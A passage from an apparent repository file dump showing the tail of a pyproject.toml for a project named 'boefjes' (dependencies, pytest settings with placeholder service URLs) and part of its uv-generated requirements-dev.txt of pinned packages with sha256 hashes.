\"defusedxml>=0.7.1,<0.8\",\n    \"pillow>=11\",\n    \"httpx>=0.28.1,<0.29\",\n    \"opentelemetry-api\",\n    \"opentelemetry-exporter-otlp-proto-common\",\n    \"opentelemetry-instrumentation-asgi\",\n    \"opentelemetry-instrumentation-dbapi\",\n    \"opentelemetry-proto\",\n    \"opentelemetry-semantic-conventions\",\n    \"opentelemetry-util-http\",\n    \"fastapi-slim>=0.115.2\",\n    \"structlog>=25.2.0,<26\",\n    \"maxminddb>=2.6.2,<3\",\n    \"tanimachi>=0.0.6,<0.0.7\",\n    \"cpe>=1.3.1,<2\",\n    \"croniter>=6.0.0,<7\",\n    \"setuptools>=80.9.0\",\n    \"pygments>=2.20.0\",\n    \"wrapt>=2.1.2\",\n    \"attrs>=26.1.0\",\n    \"mako>=1.3.11\",\n]\n\n[dependency-groups]\ndev = [\n    \"pytest>=9.0.3,<10\",\n    \"pytest-env>=1.1.3,<2\",\n    \"pytest-mock>=3.14.0,<4\",\n    \"pytest-cov>=7\",\n]\n\n[tool.uv]\npackage = false\n\n[tool.flynt]\nline-length = 120\ntransform-concats = true\n\n[tool.coverage.run]\nrelative_files = true\n\n[tool.pytest.ini_options]\nmarkers = [\"slow: marks tests as slow\"]\naddopts = \"--cov --cov-report xml --cov-branch --cov-report=term-missing:skip-covered -m 'not slow'\"\nenv = [\n    \"D:KATALOGUS_DB_URI=postgresql://postgres:postgres@ci_katalogus-db:5432/ci_katalogus\",\n    \"D:BOEFJES_API=http://placeholder:8006\",\n    \"D:KATALOGUS_API=http://placeholder:8000\",\n    \"D:OCTOPOES_API=http://placeholder:8001\",\n    \"D:SCHEDULER_API=http://placeholder:8002\",\n    \"D:BYTES_API=http://placeholder:8003\",\n    \"D:BYTES_USERNAME=placeholder\",\n    \"D:BYTES_PASSWORD=placeholder\",\n]\n"
  },
  {
    "path": "boefjes/requirements-dev.txt",
    "content": "# This file was autogenerated by uv via the following command:\n#    uv export --project ./boefjes --group dev --format requirements-txt -o ./boefjes/requirements-dev.txt\nalembic==1.18.4 \\\n    --hash=sha256:a5ed4adcf6d8a4cb575f3d759f071b03cd6e5c7618eb796cb52497be25bfe19a \\\n    --hash=sha256:cb6e1fd84b6174ab8dbb2329f86d631ba9559dd78df550b57804d607672cedbc\n    # via boefjes\nannotated-doc==0.0.4 \\\n    --hash=sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320 \\\n    --hash=sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4\n    # via fastapi\nannotated-types==0.7.0 \\\n    --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \\\n    --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89\n    # via pydantic\nansicolors==1.1.8 \\\n    --hash=sha256:00d2dde5a675579325902536738dd27e4fac1fd68f773fe36c21044eb559e187 \\\n    --hash=sha256:99f94f5e3348a0bcd43c82e5fc4414013ccc19d70bd939ad71e0133ce9c372e0\n    # via wpscan-out-parse\nanyio==4.13.0 \\\n    --hash=sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708 \\\n    --hash=sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc\n    # via\n    #   httpx\n    #   starlette\nasgiref==3.11.1 \\\n    --hash=sha256:5f184dc43b7e763efe848065441eac62229c9f7b0475f41f80e207a114eda4ce \\\n    --hash=sha256:e8667a091e69529631969fd45dc268fa79b99c92c5fcdda727757e52146ec133\n    # via opentelemetry-instrumentation-asgi\nattrs==26.1.0 \\\n    --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 \\\n    --hash=sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32\n    # via\n    #   boefjes\n    #   jsonschema\n    #   referencing\nbeautifulsoup4==4.11.1 \\\n    --hash=sha256:58d5c3d29f5a36ffeb94f02f0d786cd53014cf9b3b3951d42e0080d8a9498d30 \\\n    --hash=sha256:ad9aa55b65ef2808eb405f46cf74df7fcb7044d5cbc26487f96eb2ef2e436693\n    # via boefjes\ncertifi==2026.2.25 \\\n    --hash=sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa \\\n    --hash=sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7\n    # via\n    #   httpcore\n    #   httpx\n    #   requests\ncffi==2.0.0 ; platform_python_implementation != 'PyPy' \\\n    --hash=sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb \\\n    --hash=sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b \\\n    --hash=sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f \\\n    --hash=sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9 \\\n    --hash=sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44 \\\n    --hash=sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c \\\n    --hash=sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75 \\\n    --hash=sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e \\\n    --hash=sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a \\\n    --hash=sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e \\\n    --hash=sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25 \\\n    --hash=sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe \\\n    --hash=sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b \\\n    --hash=sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91 \\\n    --hash=sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592 \\\n    --hash=sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187 \\\n    --hash=sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c \\\n    --hash=sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1 \\\n    --hash=sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94 \\\n    --hash=sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba \\\n    --hash=sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb \\\n    --hash=sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529 \\\n    --hash=sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca \\\n    --hash=sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6 \\\n    --hash=sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c \\\n    --hash=sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0 \\\n    --hash=sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743 \\\n    --hash=sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5 \\\n    --hash=sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5 \\\n    --hash=sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4 \\\n    --hash=sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d \\\n    --hash=sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b \\\n    --hash=sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93 \\\n    --hash=sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205 \\\n    --hash=sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27 \\\n    --hash=sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512 \\\n    --hash=sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d \\\n    --hash=sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c \\\n    --hash=sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037 \\\n    --hash=sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26 \\\n    --hash=sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb \\\n    --hash=sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c \\\n    --hash=sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8 \\\n    --hash=sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4 \\\n    --hash=sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414 \\\n    --hash=sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9 \\\n    --hash=sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664 \\\n    --hash=sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9 \\\n    --hash=sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775 \\\n    --hash=sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739 \\\n    --hash=sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc \\\n    --hash=sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062 \\\n    --hash=sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe \\\n    --hash=sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92 \\\n    --hash=sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5 \\\n    --hash=sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13 \\\n    --hash=sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d \\\n    --hash=sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26 \\\n    --hash=sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495 \\\n    --hash=sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b \\\n    --hash=sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6 \\\n    --hash=sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c \\\n    --hash=sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef \\\n    --hash=sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5 \\\n    --hash=sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18 \\\n    --hash=sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad \\\n    --hash=sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3 \\\n    --hash=sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5 \\\n    --hash=sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49 \\\n    --hash=sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2 \\\n    --hash=sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5 \\\n    --hash=sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453\n    # via\n    #   cryptography\n    #   pynacl\ncharset-normalizer==3.4.7 \\\n    --hash=sha256:007d05ec7321d12a40227aae9e2bc6dca73f3cb21058999a1df9e193555a9dcc \\\n    --hash=sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c \\\n    --hash=sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4 \\\n    --hash=sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0 \\\n    --hash=sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c \\\n    --hash=sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5 \\\n    --hash=sha256:12d8baf840cc7889b37c7c770f478adea7adce3dcb3944d02ec87508e2dcf153 \\\n    --hash=sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b \\\n    --hash=sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c \\\n    --hash=sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a \\\n    --hash=sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7 \\\n    --hash=sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb \\\n    --hash=sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c \\\n    --hash=sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1 \\\n    --hash=sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab \\\n    --hash=sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df \\\n    --hash=sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e \\\n    --hash=sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18 \\\n    --hash=sha256:38c0109396c4cfc574d502df99742a45c72c08eff0a36158b6f04000043dbf38 \\\n    --hash=sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110 \\\n    --hash=sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18 \\\n    --hash=sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44 \\\n    --hash=sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d \\\n    --hash=sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48 \\\n    --hash=sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e \\\n    --hash=sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5 \\\n    --hash=sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d \\\n    --hash=sha256:4e5163c14bffd570ef2affbfdd77bba66383890797df43dc8b4cc7d6f500bf53 \\\n    --hash=sha256:511ef87c8aec0783e08ac18565a16d435372bc1ac25a91e6ac7f5ef2b0bff790 \\\n    --hash=sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c \\\n    --hash=sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b \\\n    --hash=sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116 \\\n    --hash=sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d \\\n    --hash=sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10 \\\n    --hash=sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6 \\\n    --hash=sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2 \\\n    --hash=sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a \\\n    --hash=sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265 \\\n    --hash=sha256:66671f93accb62ed07da56613636f3641f1a12c13046ce91ffc923721f23c008 \\\n    --hash=sha256:6696b7688f54f5af4462118f0bfa7c1621eeb87154f77fa04b9295ce7a8f2943 \\\n    --hash=sha256:6785f414ae0f3c733c437e0f3929197934f526d19dfaa75e18fdb4f94c6fb374 \\\n    --hash=sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246 \\\n    --hash=sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e \\\n    --hash=sha256:6ed74185b2db44f41ef35fd1617c5888e59792da9bbc9190d6c7300617182616 \\\n    --hash=sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15 \\\n    --hash=sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41 \\\n    --hash=sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960 \\\n    --hash=sha256:750e02e074872a3fad7f233b47734166440af3cdea0add3e95163110816d6752 \\\n    --hash=sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e \\\n    --hash=sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72 \\\n    --hash=sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7 \\\n    --hash=sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8 \\\n    --hash=sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b \\\n    --hash=sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb \\\n    --hash=sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e \\\n    --hash=sha256:8e385e4267ab76874ae30db04c627faaaf0b509e1ccc11a95b3fc3e83f855c00 \\\n    --hash=sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f \\\n    --hash=sha256:94e1885b270625a9a828c9793b4d52a64445299baa1fea5a173bf1d3dd9a1a5a \\\n    --hash=sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1 \\\n    --hash=sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66 \\\n    --hash=sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356 \\\n    --hash=sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4 \\\n    --hash=sha256:adb2597b428735679446b46c8badf467b4ca5f5056aae4d51a19f9570301b1ad \\\n    --hash=sha256:ae196f021b5e7c78e918242d217db021ed2a6ace2bc6ae94c0fc596221c7f58d \\\n    --hash=sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5 \\\n    --hash=sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7 \\\n    --hash=sha256:b14b2d9dac08e28bb8046a1a0434b1750eb221c8f5b87a68f4fa11a6f97b5e34 \\\n    --hash=sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49 \\\n    --hash=sha256:bc17a677b21b3502a21f66a8cc64f5bfad4df8a0b8434d661666f8ce90ac3af1 \\\n    --hash=sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e \\\n    --hash=sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0 \\\n    --hash=sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d \\\n    --hash=sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0 \\\n    --hash=sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae \\\n    --hash=sha256:cdd68a1fb318e290a2077696b7eb7a21a49163c455979c639bf5a5dcdc46617d \\\n    --hash=sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe \\\n    --hash=sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3 \\\n    --hash=sha256:cf29836da5119f3c8a8a70667b0ef5fdca3bb12f80fd06487cfa575b3909b393 \\\n    --hash=sha256:d4a48e5b3c2a489fae013b7589308a40146ee081f6f509e047e0e096084ceca1 \\\n    --hash=sha256:d560742f3c0d62afaccf9f41fe485ed69bd7661a241f86a3ef0f0fb8b1a397af \\\n    --hash=sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44 \\\n    --hash=sha256:d635aab80466bc95771bb78d5370e74d36d1fe31467b6b29b8b57b2a3cd7d22c \\\n    --hash=sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd \\\n    --hash=sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e \\\n    --hash=sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b \\\n    --hash=sha256:e17b8d5d6a8c47c85e68ca8379def1303fd360c3e22093a807cd34a71cd082b8 \\\n    --hash=sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859 \\\n    --hash=sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46 \\\n    --hash=sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b \\\n    --hash=sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46 \\\n    --hash=sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a \\\n    --hash=sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24 \\\n    --hash=sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215 \\\n    --hash=sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063 \\\n    --hash=sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832 \\\n    --hash=sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6 \\\n    --hash=sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79 \\\n    --hash=sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464\n    # via requests\nclick==8.3.2 \\\n    --hash=sha256:14162b8b3b3550a7d479eafa77dfd3c38d9dc8951f6f69c78913a8f9a7540fd5 \\\n    --hash=sha256:1924d2c27c5653561cd2cae4548d1406039cb79b858b747cfea24924bbc1616d\n    # via\n    #   boefjes\n    #   uvicorn\ncolorama==0.4.6 ; sys_platform == 'win32' \\\n    --hash=sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44 \\\n    --hash=sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6\n    # via\n    #   click\n    #   loguru\n    #   pytest\ncoverage==7.13.5 \\\n    --hash=sha256:012d5319e66e9d5a218834642d6c35d265515a62f01157a45bcc036ecf947256 \\\n    --hash=sha256:02ca0eed225b2ff301c474aeeeae27d26e2537942aa0f87491d3e147e784a82b \\\n    --hash=sha256:03ccc709a17a1de074fb1d11f217342fb0d2b1582ed544f554fc9fc3f07e95f5 \\\n    --hash=sha256:0428cbef5783ad91fe240f673cc1f76b25e74bbfe1a13115e4aa30d3f538162d \\\n    --hash=sha256:04690832cbea4e4663d9149e05dba142546ca05cb1848816760e7f58285c970a \\\n    --hash=sha256:0590e44dd2745c696a778f7bab6aa95256de2cbc8b8cff4f7db8ff09813d6969 \\\n    --hash=sha256:0672854dc733c342fa3e957e0605256d2bf5934feeac328da9e0b5449634a642 \\\n    --hash=sha256:084b84a8c63e8d6fc7e3931b316a9bcafca1458d753c539db82d31ed20091a87 \\\n    --hash=sha256:0b67af5492adb31940ee418a5a655c28e48165da5afab8c7fa6fd72a142f8740 \\\n    --hash=sha256:0cd9ed7a8b181775459296e402ca4fb27db1279740a24e93b3b41942ebe4b215 \\\n    --hash=sha256:0cef0cdec915d11254a7f549c1170afecce708d30610c6abdded1f74e581666d \\\n    --hash=sha256:0e223ce4b4ed47f065bfb123687686512e37629be25cc63728557ae7db261422 \\\n    --hash=sha256:0e3c426ffc4cd952f54ee9ffbdd10345709ecc78a3ecfd796a57236bfad0b9b8 \\\n    --hash=sha256:0ecf12ecb326fe2c339d93fc131816f3a7367d223db37817208905c89bded911 \\\n    --hash=sha256:10a0c37f0b646eaff7cce1874c31d1f1ccb297688d4c747291f4f4c70741cc8b \\\n    --hash=sha256:145ede53ccbafb297c1c9287f788d1bc3efd6c900da23bf6931b09eafc931587 \\\n    --hash=sha256:1b11eef33edeae9d142f9b4358edb76273b3bfd30bc3df9a4f95d0e49caf94e8 \\\n    --hash=sha256:1b88c69c8ef5d4b6fe7dea66d6636056a0f6a7527c440e890cf9259011f5e606 \\\n    --hash=sha256:258354455f4e86e3e9d0d17571d522e13b4e1e19bf0f8596bcf9476d61e7d8a9 \\\n    --hash=sha256:259b69bb83ad9894c4b25be2528139eecba9a82646ebdda2d9db1ba28424a6bf \\\n    --hash=sha256:2aa055ae1857258f9e0045be26a6d62bdb47a72448b62d7b55f4820f361a2633 \\\n    --hash=sha256:2d3807015f138ffea1ed9afeeb8624fd781703f2858b62a8dd8da5a0994c57b6 \\\n    --hash=sha256:301e3b7dfefecaca37c9f1aa6f0049b7d4ab8dd933742b607765d757aca77d43 \\\n    --hash=sha256:32ca0c0114c9834a43f045a87dcebd69d108d8ffb666957ea65aa132f50332e2 \\\n    --hash=sha256:34b02417cf070e173989b3db962f7ed56d2f644307b2cf9d5a0f258e13084a61 \\\n    --hash=sha256:356e76b46783a98c2a2fe81ec79df4883a1e62895ea952968fb253c114e7f930 \\\n    --hash=sha256:35a31f2b1578185fbe6aa2e74cea1b1d0bbf4c552774247d9160d29b80ed56cc \\\n    --hash=sha256:380e8e9084d8eb38db3a9176a1a4f3c0082c3806fa0dc882d1d87abc3c789247 \\\n    --hash=sha256:3ad050321264c49c2fa67bb599100456fc51d004b82534f379d16445da40fb75 \\\n    --hash=sha256:3e1bb5f6c78feeb1be3475789b14a0f0a5b47d505bfc7267126ccbd50289999e \\\n    --hash=sha256:3f4818d065964db3c1c66dc0fbdac5ac692ecbc875555e13374fdbe7eedb4376 \\\n    --hash=sha256:460cf0114c5016fa841214ff5564aa4864f11948da9440bc97e21ad1f4ba1e01 \\\n    --hash=sha256:48c39bc4a04d983a54a705a6389512883d4a3b9862991b3617d547940e9f52b1 \\\n    --hash=sha256:4b59148601efcd2bac8c4dbf1f0ad6391693ccf7a74b8205781751637076aee3 \\\n    --hash=sha256:4d2afbc5cc54d286bfb54541aa50b64cdb07a718227168c87b9e2fb8f25e1743 \\\n    --hash=sha256:505d7083c8b0c87a8fa8c07370c285847c1f77739b22e299ad75a6af6c32c5c9 \\\n    --hash=sha256:52f444e86475992506b32d4e5ca55c24fc88d73bcbda0e9745095b28ef4dc0cf \\\n    --hash=sha256:5b13955d31d1633cf9376908089b7cebe7d15ddad7aeaabcbe969a595a97e95e \\\n    --hash=sha256:5ec4af212df513e399cf11610cc27063f1586419e814755ab362e50a85ea69c1 \\\n    --hash=sha256:60365289c3741e4db327e7baff2a4aaacf22f788e80fa4683393891b70a89fbd \\\n    --hash=sha256:631efb83f01569670a5e866ceb80fe483e7c159fac6f167e6571522636104a0b \\\n    --hash=sha256:6697e29b93707167687543480a40f0db8f356e86d9f67ddf2e37e2dfd91a9dab \\\n    --hash=sha256:66a80c616f80181f4d643b0f9e709d97bcea413ecd9631e1dedc7401c8e6695d \\\n    --hash=sha256:67e9bc5449801fad0e5dff329499fb090ba4c5800b86805c80617b4e29809b2a \\\n    --hash=sha256:68a4953be99b17ac3c23b6efbc8a38330d99680c9458927491d18700ef23ded0 \\\n    --hash=sha256:6c36ddb64ed9d7e496028d1d00dfec3e428e0aabf4006583bb1839958d280510 \\\n    --hash=sha256:6e3370441f4513c6252bf042b9c36d22491142385049243253c7e48398a15a9f \\\n    --hash=sha256:7034b5c56a58ae5e85f23949d52c14aca2cfc6848a31764995b7de88f13a1ea0 \\\n    --hash=sha256:704de6328e3d612a8f6c07000a878ff38181ec3263d5a11da1db294fa6a9bdf8 \\\n    --hash=sha256:7132bed4bd7b836200c591410ae7d97bf7ae8be6fc87d160b2bd881df929e7bf \\\n    --hash=sha256:7300c8a6d13335b29bb76d7651c66af6bd8658517c43499f110ddc6717bfc209 \\\n    --hash=sha256:750db93a81e3e5a9831b534be7b1229df848b2e125a604fe6651e48aa070e5f9 \\\n    --hash=sha256:777c4d1eff1b67876139d24288aaf1817f6c03d6bae9c5cc8d27b83bcfe38fe3 \\\n    